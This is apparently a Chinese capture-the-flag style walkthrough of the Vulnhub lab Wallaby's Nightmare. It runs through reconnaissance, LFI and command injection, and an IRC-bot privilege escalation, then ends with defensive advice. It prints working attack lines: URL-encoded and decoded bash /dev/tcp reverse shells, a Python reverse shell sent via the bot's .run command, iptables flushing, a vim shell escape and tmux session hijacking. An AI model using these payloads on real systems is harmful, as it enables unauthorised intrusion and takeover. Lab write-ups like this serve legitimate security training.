[Vulnhub] wallabysnightmare LFI+RCE+Irssi聊天服务RCE
字数 990 2025-08-20 18:18:40

Wallaby's Nightmare 渗透测试实战教学文档

1. 目标信息收集

1.1 初始扫描

使用Nmap进行初始扫描:

nmap -p- -sC -sV 192.168.8.105 --min-rate 1000 -Pn

发现开放端口:

  • TCP 22 (SSH)
  • TCP 80 (HTTP)
  • TCP 6667 (IRC)
  • TCP 60080 (HTTP)

1.2 Web服务探测

发现60080端口存在Web服务,使用Arjun进行参数爆破:

arjun -u http://192.168.8.105:60080

发现page参数存在LFI漏洞:

http://192.168.8.105:60080/?page=etc/shadow

使用DIRB进行目录爆破:

dirb "http://192.168.8.105:60080/?page="

发现mailer端点:

http://192.168.8.105:60080/?page=mailer

进一步爆破发现mail参数:

dirb "http://192.168.8.105:60080/?page=mailer&mail="

2. 初始访问

2.1 利用LFI+RCE获取Shell

通过mail参数执行命令注入:

http://192.168.8.105:60080/?page=mailer&mail=%2fbin%2fbash+-c+%27bash+-i+%3E%26+%2fdev%2ftcp%2f192.168.8.107%2f10032+0%3E%261%27

解码后实际执行的命令:

/bin/bash -c 'bash -i >& /dev/tcp/192.168.8.107/10032 0>&1'

2.2 获取初始凭证

找到local.txt内容:

96e9dd72f028f2b2c894852ee056eb91

3. 权限提升

3.1 绕过防火墙限制

两种方法:

  1. 使用chisel端口转发
  2. 直接清除防火墙规则

清除防火墙规则:

sudo /sbin/iptables -L  # 查看规则
sudo /sbin/iptables --flush  # 清除规则

3.2 利用IRC服务提权

3.2.1 连接IRC服务

使用irssi连接IRC服务:

irssi -c 192.168.8.105

列出聊天室:

/list

加入目标频道:

/join #wallabyschat

3.2.2 冒充waldo用户

发现.run命令需要waldo权限,先获取waldo shell:

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf

在vim中执行:

:!bash

3.2.3 接管IRC会话

查找并终止现有的tmux会话:

ps aux | grep tmux
pkill -9 tmux

在irssi中冒充waldo:

/nick waldo

执行反弹shell命令:

.run python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.107",10033));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

3.2.4 获取最终凭证

找到proof.txt内容:

d41d8cd98f00b204e9800998ecf8427e

4. 关键知识点总结

  1. LFI漏洞利用

    • 通过page参数读取系统文件
    • 结合mailer端点实现RCE
  2. IRC服务利用

    • 使用irssi客户端连接IRC服务
    • 通过会话劫持冒充特权用户
    • 利用IRC bot执行系统命令
  3. 权限提升技巧

    • 通过sudo -u切换用户上下文
    • 利用vim的shell逃逸功能
    • 终止现有会话实现会话劫持
  4. 防火墙绕过

    • 直接清除iptables规则
    • 替代方案使用端口转发
  5. 反弹Shell技术

    • 多种反弹shell方法(bash、python)
    • 使用pty.spawn获取完整交互式shell

5. 防御建议

  1. 修复LFI漏洞:

    • 严格过滤用户输入
    • 使用白名单限制文件访问
  2. 加固IRC服务:

    • 限制.run命令的使用权限
    • 实现严格的用户认证
  3. 系统加固:

    • 限制sudo权限
    • 监控关键进程(如tmux)
    • 配置防火墙最小权限规则
  4. 安全监控:

    • 监控异常进程创建
    • 记录IRC聊天室活动
Wallaby's Nightmare 渗透测试实战教学文档 1. 目标信息收集 1.1 初始扫描 使用Nmap进行初始扫描: 发现开放端口: TCP 22 (SSH) TCP 80 (HTTP) TCP 6667 (IRC) TCP 60080 (HTTP) 1.2 Web服务探测 发现60080端口存在Web服务,使用Arjun进行参数爆破: 发现 page 参数存在LFI漏洞: 使用DIRB进行目录爆破: 发现 mailer 端点: 进一步爆破发现 mail 参数: 2. 初始访问 2.1 利用LFI+RCE获取Shell 通过 mail 参数执行命令注入: 解码后实际执行的命令: 2.2 获取初始凭证 找到local.txt内容: 3. 权限提升 3.1 绕过防火墙限制 两种方法: 使用chisel端口转发 直接清除防火墙规则 清除防火墙规则: 3.2 利用IRC服务提权 3.2.1 连接IRC服务 使用irssi连接IRC服务: 列出聊天室: 加入目标频道: 3.2.2 冒充waldo用户 发现 .run 命令需要waldo权限,先获取waldo shell: 在vim中执行: 3.2.3 接管IRC会话 查找并终止现有的tmux会话: 在irssi中冒充waldo: 执行反弹shell命令: 3.2.4 获取最终凭证 找到proof.txt内容: 4. 关键知识点总结 LFI漏洞利用 : 通过 page 参数读取系统文件 结合 mailer 端点实现RCE IRC服务利用 : 使用irssi客户端连接IRC服务 通过会话劫持冒充特权用户 利用IRC bot执行系统命令 权限提升技巧 : 通过sudo -u切换用户上下文 利用vim的shell逃逸功能 终止现有会话实现会话劫持 防火墙绕过 : 直接清除iptables规则 替代方案使用端口转发 反弹Shell技术 : 多种反弹shell方法(bash、python) 使用pty.spawn获取完整交互式shell 5. 防御建议 修复LFI漏洞: 严格过滤用户输入 使用白名单限制文件访问 加固IRC服务: 限制.run命令的使用权限 实现严格的用户认证 系统加固: 限制sudo权限 监控关键进程(如tmux) 配置防火墙最小权限规则 安全监控: 监控异常进程创建 记录IRC聊天室活动